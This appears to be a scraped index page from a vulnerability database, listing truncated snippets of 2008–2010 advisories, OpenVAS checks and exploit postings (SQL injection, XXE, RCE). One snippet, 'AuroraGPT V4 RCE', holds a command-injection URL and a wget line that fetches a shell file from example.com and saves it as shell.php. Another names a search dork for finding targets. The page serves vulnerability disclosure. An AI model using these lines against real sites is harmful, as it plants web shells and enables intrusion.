Bugzilla Multiple Vulnerabilities

Bugzilla is prone to the following vulnerabilities: 1. A security bypass issue. 2. Multiple information disclosure vulnerabilities. 3. A denial-of-service vulnerability. Successfully exploiting these issues may allow an attacker to bypass certain security restrictions, obtain sensitive informatio...

CVE-2010-2896

IBM FileNet Content Manager CM 4.0.0, 4.0.1, 4.5.0, and 4.5.1 before FP4 does not properly manage the InheritParentPermissions setting during an upgrade from 3.x, which might allow attackers to bypass intended folder permissions via unspecified vectors...

Softbiz Resource Repository Script - Blind SQL Injection

Softbiz Resource Repository Script - Blind SQL Injection $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $ Softbiz Resource repository script Blind SQL Vulnerability Normal version $ Author : Sangteamtham $ Home : Hcegroup.net & vnbrain.net $ Download...

MediaWave (news) SQL Injection vulnerability

Exploit for php platform in category web applications ============================================ MediaWave news SQL Injection vulnerability ============================================ Exploit Title: MediaWavenews& more SQL injection Date: 14-6-2010 Author: CaSpErHaK Tested on: linux...

Multiple vulnerabilities in Exim

================================== Exim Mailer, multiple vulnerabilites June 3, 2010 CVE-2010-2023, CVE-2010-2024 ================================== ==Description== Two vulnerabilities have been discovered in Exim 4, a popular mail transfer agent used on Unix-like systems www.exim.org. 1. When Ex...

AuroraGPT 4 Command Execution

Title : AuroraGPT V4 RCE Vulnerability Author: Amoo Arash Date : 2010-04-11 Version : 4 InformatioN Title : AuroraGPT V4 RCE Vulnerability Author : Amoo Arash ExploiT Vulnerable File : http://127.0.0.1/index.php?view=help&faq=1&ref&cmd=Command ExploiT : wget example.com/shell.txt -O shell.php...

RedHat Update for nss RHSA-2010:0165-01

Check for the Version of nss OpenVAS Vulnerability Test RedHat Update for nss RHSA-2010:0165-01 Authors: System Generated Check Copyright: Copyright c 2010 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under the terms of...

Jira Atlassian File Attachment Download

Exploit for multiple platform in category web applications ======================================= Jira Atlassian File Attachment Download ======================================= Exploit Title: Jira Atlassian Date: 28/3/2010 Author: Ignacio Garrido Mail: Ign.sec gmail com Software Link:...

Debian Security Advisory DSA 1998-1 (kdelibs)

The remote host is missing an update to kdelibs announced via advisory DSA 1998-1. OpenVAS Vulnerability Test $Id: deb19981.nasl 6614 2017-07-07 12:09:12Z cfischer $ Description: Auto-generated from advisory DSA 1998-1 kdelibs Authors: Thomas Reinke Copyright: Copyright c 2010 E-Soft Inc...

WebKit XML External Entity Information Disclosure Vulnerability

No description provided by source. Safari prior to version 4 may permit an evil web page to steal files from the local system. This is accomplished by mounting an XXE attack against the parsing of the XSL XML. This is best explained with a sample evil XSL file which includes a DTD that attempts t...

Expat 2.0.1 - UTF-8 Character XML Parsing Remote Denial of Service

Bugtraq ID: 36097 Class: Input Validation Error Published: Jan 17 2009 12:00AM Updated: Nov 12 2009 08:06PM Credit: Peter Valchev Vulnerable: SuSE openSUSE 11.0 SuSE openSUSE 10.3 SuSE Linux 9 SuSE Linux 11 SuSE Linux 10.0 RedHat Fedora 11 RedHat Fedora 10 RedHat Enterprise Linux WS 4 RedHat...

nfs security update

CentOS Errata and Security Advisory CESA-2009:1321 An updated nfs-utils package that fixes a security issue and several bugs is now available. This update has been rated as having low security impact by the Red Hat Security Response Team. The nfs-utils package provides a daemon for the kernel NFS...

phpArcadeScript 4.0 - id SQL Injection

phpArcadeScript 4.0 - id SQL Injection ---------------------------------------------------------------------------------------------------- Name : PHP AS v4 Site : http://www.phparcadescript.com/ ----------------------------------------------------------------------------------------------------...

Apple Safari local file theft vulnerability

Hi, Safari prior to version 4 may permit an evil web page to steal files from the local system. This is accomplished by mounting an XXE attack against the parsing of the XSL XML. This is best explained with a sample evil XSL file which includes a DTD that attempts the XXE attack: !DOCTYPE doc...

Infinities eCommerce SQL Injection

. . | / | | \ \ | / / |\ \ \ |/ // / /\ \ / |/ \ / // | / | | / \ /|\ / / / / \ / \ / / / \ | | /\ /\ / \ | \ // est.2007 / / forum.darkc0de.com d3hydr8 - rsauron - baltazar - low1z - houbysoft - beenu and all darkc0de members Author: p47r1ck Home : www.darkc0de.com Email :...

Pc4Uploader 9.0 - Blind SQL Injection

Pc4Uploader 9.0 - Blind SQL Injection || || | || o,7 || . o7 || q||| ow, : / / . =By: Qabandi =Email: iqaahotmail.fr From Kuwait PEACE =Vuln: pc4arb - pc4 Uploader = 9.0 Blind SQL injection =INFO: http://pc4arb.com/product-13.html =BUY: http://pc4arb.com/deal-13.html =DORK: intext:"Powered by...

CPCommerce 1.2.8 - id_document Blind SQL Injection

CPCommerce 1.2.8 - iddocument Blind SQL Injection ========================================================================================== o cpCommerce 1.2.8 Blind SQL Injection Vulnerability Software : cpCommerce version 1.2.8 Vendor : http://cpcommerce.cpradio.org/ Download :...

RedHat Update for kdegraphics RHSA-2008:0238-01

Check for the Version of kdegraphics OpenVAS Vulnerability Test RedHat Update for kdegraphics RHSA-2008:0238-01 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it und...

RedHat Update for gnutls RHSA-2008:0492-01

Check for the Version of gnutls OpenVAS Vulnerability Test RedHat Update for gnutls RHSA-2008:0492-01 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under the ter...

RedHat Update for evolution RHSA-2008:0177-01

Check for the Version of evolution OpenVAS Vulnerability Test RedHat Update for evolution RHSA-2008:0177-01 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under t...